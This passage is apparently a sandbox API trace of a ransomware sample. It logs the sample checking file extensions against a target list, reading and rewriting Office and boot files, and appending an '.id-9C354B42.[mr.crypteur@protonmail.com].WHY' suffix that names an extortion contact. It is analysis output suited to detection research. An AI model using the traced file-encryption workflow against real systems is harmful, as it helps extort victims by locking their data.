Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.006] lstrlenW (lpString=".zip") returned 4 [0281.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.006] lstrlenW (lpString=".rar") returned 4 [0281.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.006] lstrlenW (lpString=".bz2") returned 4 [0281.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.007] lstrlenW (lpString=".7z") returned 3 [0281.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.007] lstrlenW (lpString=".dbf") returned 4 [0281.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.007] lstrlenW (lpString=".1cd") returned 4 [0281.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.007] lstrlenW (lpString=".jpg") returned 4 [0281.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.008] lstrlenW (lpString=".doc") returned 4 [0281.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.008] lstrlenW (lpString=".docx") returned 5 [0281.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.008] lstrlenW (lpString=".pdf") returned 4 [0281.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.009] lstrlenW (lpString=".xls") returned 4 [0281.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.009] lstrlenW (lpString=".xlsx") returned 5 [0281.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.009] lstrlenW (lpString=".ppt") returned 4 [0281.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.009] lstrlenW (lpString=".zip") returned 4 [0281.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.009] lstrlenW (lpString=".rar") returned 4 [0281.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.010] lstrlenW (lpString=".bz2") returned 4 [0281.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.011] lstrlenW (lpString=".7z") returned 3 [0281.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.011] lstrlenW (lpString=".dbf") returned 4 [0281.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.011] lstrlenW (lpString=".1cd") returned 4 [0281.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.012] lstrlenW (lpString=".jpg") returned 4 [0281.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.012] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0281.014] lstrlenW (lpString="BL00234_.WMF") returned 12 [0281.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0281.015] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=9304) returned 1 [0281.015] CloseHandle (hObject=0x3c8) returned 1 [0281.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0281.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0281.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0281.017] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0281.018] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0281.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0281.019] GetLastError () returned 0x0 [0281.019] ReadFile (in: hFile=0x3c8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x2458, lpOverlapped=0x0) returned 1 [0281.027] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x2460, lpOverlapped=0x0) returned 1 [0281.032] ReadFile (in: hFile=0x3c8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0281.032] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0281.033] SetEndOfFile (hFile=0x2f0) returned 1 [0281.034] CloseHandle (hObject=0x2f0) returned 1 [0281.038] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0281.038] SetEndOfFile (hFile=0x3c8) Thread: id = 41 os_tid = 0x664 [0206.674] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3b70288 [0206.675] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3b80290 [0206.677] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9308 [0206.677] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x641580 [0206.677] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9320 [0206.677] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x3f40020 [0206.677] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9338 [0206.679] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9338, Size=0x20) returned 0x620390 [0206.679] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9338 [0206.679] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9338, Size=0x20) returned 0x620318 [0206.679] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.680] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.680] Wow64DisableWow64FsRedirection (in: OldValue=0x33eff58 | out: OldValue=0x33eff58*=0x0) returned 1 [0206.680] lstrlenW (lpString="kernel32.dll") returned 12 [0206.680] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620390 | out: hHeap=0x590000) returned 1 [0206.680] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.680] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620318 | out: hHeap=0x590000) returned 1 [0206.680] Sleep (dwMilliseconds=0x64) [0207.143] Sleep (dwMilliseconds=0x64) [0207.438] Sleep (dwMilliseconds=0x64) [0207.911] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0207.911] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0207.911] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.912] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=85056) returned 1 [0207.912] CloseHandle (hObject=0x260) returned 1 [0207.912] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0207.912] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0207.912] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.913] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.913] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.913] lstrlenW (lpString=".doc") returned 4 [0207.913] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.913] lstrlenW (lpString=".docx") returned 5 [0207.913] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.913] lstrlenW (lpString=".pdf") returned 4 [0207.913] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.913] lstrlenW (lpString=".xls") returned 4 [0207.913] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.913] lstrlenW (lpString=".xlsx") returned 5 [0207.913] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.913] lstrlenW (lpString=".ppt") returned 4 [0207.913] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.913] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.914] lstrlenW (lpString=".zip") returned 4 [0207.914] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.914] lstrlenW (lpString=".rar") returned 4 [0207.914] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.914] lstrlenW (lpString=".bz2") returned 4 [0207.914] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.914] lstrlenW (lpString=".7z") returned 3 [0207.914] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.914] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.914] lstrlenW (lpString=".dbf") returned 4 [0207.914] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.914] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.914] lstrlenW (lpString=".1cd") returned 4 [0207.914] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.914] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.914] lstrlenW (lpString=".jpg") returned 4 [0207.914] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.915] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.915] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.915] lstrlenW (lpString=".doc") returned 4 [0207.915] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.915] lstrlenW (lpString=".docx") returned 5 [0207.915] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.915] lstrlenW (lpString=".pdf") returned 4 [0207.915] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.915] lstrlenW (lpString=".xls") returned 4 [0207.915] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.915] lstrlenW (lpString=".xlsx") returned 5 [0207.915] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.915] lstrlenW (lpString=".ppt") returned 4 [0207.915] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.916] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.916] lstrlenW (lpString=".zip") returned 4 [0207.916] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.916] lstrlenW (lpString=".rar") returned 4 [0207.916] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.916] lstrlenW (lpString=".bz2") returned 4 [0207.916] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.916] lstrlenW (lpString=".7z") returned 3 [0207.916] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.916] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.916] lstrlenW (lpString=".dbf") returned 4 [0207.916] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.916] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.916] lstrlenW (lpString=".1cd") returned 4 [0207.916] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.916] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0207.916] lstrlenW (lpString=".jpg") returned 4 [0207.916] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.917] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0207.917] lstrlenW (lpString="memtest.exe.mui") returned 15 [0207.917] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.917] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=43600) returned 1 [0207.918] CloseHandle (hObject=0x260) returned 1 [0207.918] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0207.918] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0207.918] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.918] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.918] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.918] lstrlenW (lpString=".doc") returned 4 [0207.918] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.918] lstrlenW (lpString=".docx") returned 5 [0207.918] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.919] lstrlenW (lpString=".pdf") returned 4 [0207.919] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.919] lstrlenW (lpString=".xls") returned 4 [0207.919] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.919] lstrlenW (lpString=".xlsx") returned 5 [0207.919] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.919] lstrlenW (lpString=".ppt") returned 4 [0207.919] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.919] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.919] lstrlenW (lpString=".zip") returned 4 [0207.919] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.919] lstrlenW (lpString=".rar") returned 4 [0207.919] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.919] lstrlenW (lpString=".bz2") returned 4 [0207.919] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.919] lstrlenW (lpString=".7z") returned 3 [0207.920] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.920] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.920] lstrlenW (lpString=".dbf") returned 4 [0207.920] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.920] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.920] lstrlenW (lpString=".1cd") returned 4 [0207.920] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.920] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.920] lstrlenW (lpString=".jpg") returned 4 [0207.920] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.920] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.920] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.920] lstrlenW (lpString=".doc") returned 4 [0207.920] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.920] lstrlenW (lpString=".docx") returned 5 [0207.921] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.921] lstrlenW (lpString=".pdf") returned 4 [0207.921] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.921] lstrlenW (lpString=".xls") returned 4 [0207.921] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.921] lstrlenW (lpString=".xlsx") returned 5 [0207.921] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.921] lstrlenW (lpString=".ppt") returned 4 [0207.921] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.921] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.921] lstrlenW (lpString=".zip") returned 4 [0207.921] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.921] lstrlenW (lpString=".rar") returned 4 [0207.921] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.921] lstrlenW (lpString=".bz2") returned 4 [0207.922] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.922] lstrlenW (lpString=".7z") returned 3 [0207.922] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.922] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.922] lstrlenW (lpString=".dbf") returned 4 [0207.922] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.922] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.922] lstrlenW (lpString=".1cd") returned 4 [0207.922] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.922] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0207.922] lstrlenW (lpString=".jpg") returned 4 [0207.922] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.923] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0207.923] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0207.923] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.923] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=90192) returned 1 [0207.923] CloseHandle (hObject=0x260) returned 1 [0207.924] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0207.924] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0207.924] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.924] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.924] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.924] lstrlenW (lpString=".doc") returned 4 [0207.924] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.924] lstrlenW (lpString=".docx") returned 5 [0207.924] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.924] lstrlenW (lpString=".pdf") returned 4 [0207.924] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.925] lstrlenW (lpString=".xls") returned 4 [0207.925] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.925] lstrlenW (lpString=".xlsx") returned 5 [0207.925] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.925] lstrlenW (lpString=".ppt") returned 4 [0207.925] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.925] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.925] lstrlenW (lpString=".zip") returned 4 [0207.925] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.925] lstrlenW (lpString=".rar") returned 4 [0207.925] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.925] lstrlenW (lpString=".bz2") returned 4 [0207.925] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.925] lstrlenW (lpString=".7z") returned 3 [0207.926] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.926] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.926] lstrlenW (lpString=".dbf") returned 4 [0207.926] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.926] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.926] lstrlenW (lpString=".1cd") returned 4 [0207.926] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.926] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.926] lstrlenW (lpString=".jpg") returned 4 [0207.926] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.926] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.926] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.927] lstrlenW (lpString=".doc") returned 4 [0207.927] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.927] lstrlenW (lpString=".docx") returned 5 [0207.927] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.927] lstrlenW (lpString=".pdf") returned 4 [0207.927] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.927] lstrlenW (lpString=".xls") returned 4 [0207.927] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.927] lstrlenW (lpString=".xlsx") returned 5 [0207.927] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.927] lstrlenW (lpString=".ppt") returned 4 [0207.927] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.927] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.927] lstrlenW (lpString=".zip") returned 4 [0207.927] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.927] lstrlenW (lpString=".rar") returned 4 [0207.927] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.928] lstrlenW (lpString=".bz2") returned 4 [0207.928] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.928] lstrlenW (lpString=".7z") returned 3 [0207.928] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.928] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.928] lstrlenW (lpString=".dbf") returned 4 [0207.928] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.928] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.928] lstrlenW (lpString=".1cd") returned 4 [0207.928] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.928] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0207.928] lstrlenW (lpString=".jpg") returned 4 [0207.928] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.929] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0207.929] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0207.929] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.929] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=89152) returned 1 [0207.929] CloseHandle (hObject=0x260) returned 1 [0207.929] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0207.930] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0207.930] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.930] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.930] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.930] lstrlenW (lpString=".doc") returned 4 [0207.930] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.930] lstrlenW 